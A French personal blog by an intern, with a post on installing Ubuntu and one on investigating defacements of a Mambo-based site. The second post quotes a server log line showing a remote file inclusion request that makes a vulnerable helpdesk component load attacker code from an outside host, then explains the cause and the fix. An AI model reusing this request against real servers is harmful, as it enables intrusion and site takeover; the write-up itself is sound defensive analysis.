Wadih à Communautique

mardi, août 08, 2006

Journée sur linux

Après avoir enfin téléchargé la version la plus récente de Ubuntu linux (www.ubuntulinux.org) en image CD et l'avoir gravée sur un CD avec ma belle machine Windows 98, c'était le moment de faire le grand pas. Aujourd'hui, j'ai entrepris l'installation de linux.

AVERTISSEMENT: Ce texte contindras plusieurs détails et mots techniques. J'ai tout de même fait de mon mieux pour vulgariser tout ça, mais si vous avez des questions, n'hésitez pas à les poser.

L'installation fut assez simple, mais très lente à cause de mes 256 mb de RAM. Au moment de faire une partition linux, Ubuntu me "conseilla fortement" (à lire: m'obligea) à avoir deux partitions: une grande pour mettre linux dessus et les fichiers personnels, et une petite pour la mémoire swap. La mémoire "swap" est en fait de l'espace disque utilisé comme du RAM. La seule différence est qu'elle est plus lente que les barres de RAM physiques. L'installation pris 1h.

Dès que l'installation fut terminée, j'ai pu directement faire connaissance avec le programme Synaptic dans linux qui s'occupe de mettre à jour toutes les librairies du système d'exploitation avec les librairies sur internet. Il y en avais déjà 163 qui attendaient.

Mettre à jour Linux a pris environ 1h30, et roulait en arrière plan. Pendant ce temps, je furetais sur internet à la recherche de mes outils de travail favoris, incluant Flash player, BlueFish editor, Apache, mySQL et d'autres utilités. L'installation de flash fut aisée, mais celle de BlueFish par contre était moins évidente...

Ce que les développeurs de BlueFish offrent sur le site est le code source. Point final. Moi qui arrive du monde Windows, j'aurais bien aimé simplement avoir les binaires et les executer, mais si bonheur rime avec facilité dans windows, ce n'est définitivement pas le cas pour une nouvelle installation linux.

Pour commencer, j'ai téléchargé le paquet contenant des centaines de fichiers de code, dont quelques fichiers avec le nom en majuscule comme README et INSTALL. "Ça doit être avec ces fichiers que je compile le code et j'exécute mon programme", me suis-je dit. Après la lecture de ces fichiers, j'ai appris que pour installer tout programme, il faut:
  1. Essayer de mettre à jour les fichiers de code à l'aide de Subversion (SVN)
  2. Configurer la façon qu'on veut compiler le code
  3. Compiler le code sur la machine
  4. Exécuter
Cela veut dire qu'il faut apprendre à utiliser SVN, ensuite lire les différents paramètres selon lesquels on peut configurer la compilation, ensuite compiler la source et bien sûr aller au travers des dixaines de librairies manquantes sur mon système que je dois installer à part avec Synaptic avant de pouvoir re-tenter la compilation, et ensuite exécuter le tout et espérer que ça marche.

Juste compiler le code pour BlueFish à l'aide de la commande make m'a pris 2 heures. Je ne pouvais penser à autre chose que: Il doit y avoir une autre façon...

J'ai donc décidé de contacter un de mes amis de McGill, Chris, qui utilise linux ça fait quelques temps, et il m'a fait part d'informations intéressantes. Le gestionnaire de paquets Synaptic qui vient avec Ubuntu, a la fonctionnalité de mettre à jour et installer les librairies du système automatiquement, avec du code déjà compilé. Cela veut dire que si je télécharge un paquet Apache2, celui ci se mettera à jour automatiquement à chaque fois que Synaptic voit une mise à jour pour Apache2. Par contre, si j'installe le programme sans utiliser le gestionnaire de paquets Synaptic, le support automatisé des mises à jour ne sera pas présent!

Étant donné que j'avais déjà installé plusieurs programmes manuellement sans passer par Synaptic (c'est à dire en configurant la compilation, et compilant le code moi même) j'ai du procéder à leurs désinstallations.

make uninstall

Cette commande fut celle que j'ai dû utiliser pour désinstaller les programmes linux que j'ai mis sans support des mise à jour automatisé. En cherchant le paquet de BlueFish editor, je suis tombé sur un autre problème: le paquet n'existe pas dans les sources Synaptic de Ubuntu. Il fallait donc que je cherche dans d'autres sources de paquets dont Universe, Multiverse, et non-free. BlueFish était présent dans Universe.

Conclusion


C'était une longue journée, mais on sait officiellement comment installer proprement un programme sur Ubuntu. Mes prochaines tâches consisteront à travailler sur un serveur dans un centre communautaire (CSCS), le mettre à jour et arranger le réseau.

Je devrais également faire de l'animation dans un CACI quelque part à côte des neiges une fois par semaine. L'animation d'un CACI consiste à donner des cours d'informatique gratuits aux personnes qui veulent rentrer dans le monde d'internet. On leurs apprend à fureter sur internet, écrire des courriels, visionner les forums et plusieurs autres choses. Beaucoup de nos clients sont des adultes.

mercredi, août 02, 2006

Le stage: mise en contexte

Mon stage à communautique a commencé il y a maintenant 3 semaines. Mes premières tâches consistaient à générer des templates compatibles avec Mambo à partir de belles images PhotoShop que notre graphiste a crées. C'était la première fois que je travaillais sur le CMS Mambo, mais après la belle introduction que Karima m'a donnée, j'ai compris l'essence rapidement.

D'un point de vue plus technique, j'ai du utiliser du HTML, du CSS et du découpage PhotoShop pour créer la nouvelle interface Mambo. Étant donnée que ce sont des tâches que je fais déjà pour ma business personnelle (www.creationmw.com), la génération de templates fut assez aisée.

Voici la première template que j'ai intégrée: www.fqccl.org/hebergement

Par la suite, j'ai continué à explorer le logiciel libre Mambo et également sa programmation en PHP, et la base de données SQL.

Les défaçages (piratages) du site

Pendant que je travaillais, le serveur fut victime de plusieurs attaques de "défaçage" (defacement en anglais). Un défaçage signifie que quelqu'un a pénétré sur le serveur et a laissé sa signature sur la page principale, afin de montrer que le site s'est fait piraté. Généralement, ce sont des robots automatisés qui naviguent sur internet en essayant de trouver des portes d'entrées prédéterminées sur les serveurs.

Ma première réaction fut d'aller analyser les logs du serveur, mais on m'a dit que c'était pas la première fois et qu'on pouvait réparer ça en remplaçant le fichier affecté. Cette technique sauve beaucoup de temps, qui est une ressource prioritaire dans le monde professionnel, mais seulement jusqu'au prochain défaçage bien entendu.

Un article sur la sécurité informatique que j'ai lu il y a quelques temps parlait de l'approche "réparation rapide" des défaçage que beaucoup d'administrateurs web adoptent. Son avantage est qu'elle sauve beaucoup de temps, en effet, mais son désavantage est qu'elle ne répare pas la cause du problème, mais plutôt cache ses conséquences.

Finalement, nous n'avons pas enquêté sur les détails du premier défaçage, mais quand le second est arrivé, j'ai insisté pour voir les logs du serveur, et Karima était partante. Ce n'est pas normal que des défacage arrivent fréquemment, et peut-être que la sécurité du serveur en entier a été compromise. En matière de logiciels informatique, la sécurité n'est pas un luxe, mais une nécessité.

Détails techniques de l'intrusion

En analysant les logs via la console SSH de Karima, j'ai repéré la première requête frauduleuse sur le serveur:

85.104.*.* [27/Jul/2006:14:28:15 -0400]
"GET /components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?
mosConfig_live_site=http://hackeramca.tripod.com/somefilename.txt?
HTTP/1.1" 200 4083 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 2 www.fqccl.org


Vulgarisation: Qu'est-ce que cela veut dire? Que quelqu'un, robot ou humain, a attaqué l'interface d'administration d'un module externe de Mambo (Active 6 Mambo HelpDesk) qui visiblement, avait une vulnérabilité. L'ordinateur pirate utilisait Windows XP, et le fureteur s'identifiait comme étant Internet Explorer 6.05. Cette attaque lui a permis d'exécuter localement du code distant, qui résidait sur hackeramca.tripod.com, et qui lui offrait une chaleureuse interface de piratage.

Après avoir reproduit ce que le pirate a fait, j'ai pu voir son interface de contrôle sur mon écran [screnshots disponibles plus bas!]. Il avait un vaste spectre de pouvoirs sur notre serveur: il aurait pu effacer tous les sites que la FQCCL hébergeait, avait accès total aux bases de données, et pouvait envoyer des fichiers au serveur et les exécuter. Mais au lieu de faire ça, l'intrus s'est montré altruiste et a simplement laissé sa signature pour avertir le webmestre que son serveur contenais une faille de sécurité.

Après analyse du fichier vulnérable, j'ai déterminé que le succès de l'attaque reposait sur deux choses:
  1. Le serveur avait registers_global sur On dans le fichier php.ini
  2. Le fichier admin.a6_mambohelpdesk.php faisait un include sur une variable ré-initializable (mosConfig_live_site).
Une fois la cause trouvée, nous procédâmes à la réparation de ce fichier, et de ses nombreuses copies à travers l'arborescence du site. Voici des screenshots de la console de contrôle:




Après une petite recherche sur Google de "Physical for aniden" team, on trouve leur logo sur une autre machine qui a été défacée assez longtemps pour être indexée sur Google:




Nouvelles tâches

Cette expérience de piratage de serveur fut intéressante. Karima aussi l'apprécia et me dit que le stage était plus excitant cet été! Mes nouvelles tâches consisterons à rechercher d'autres trous de sécurité dans les composantes externes Mambo que nous utilisons, et de les réparer. Aussi, je vais commencer à travailler avec Rachid sur le support multi-langues de leurs logiciel Giocom, un logiciel de gestion d'organisme communautaire libre.

Un démo du logiciel réside sur: www.giocom.info/demo

Je vais également commencer à faire des présentations aux clients, et des démonstrations assistées de ce logiciel. Une grosse semaine en perspective.

Merci de lire mon Blog, et j'espère que vous l'avez trouvé intéressant!
Les commentaires sont bienvenus.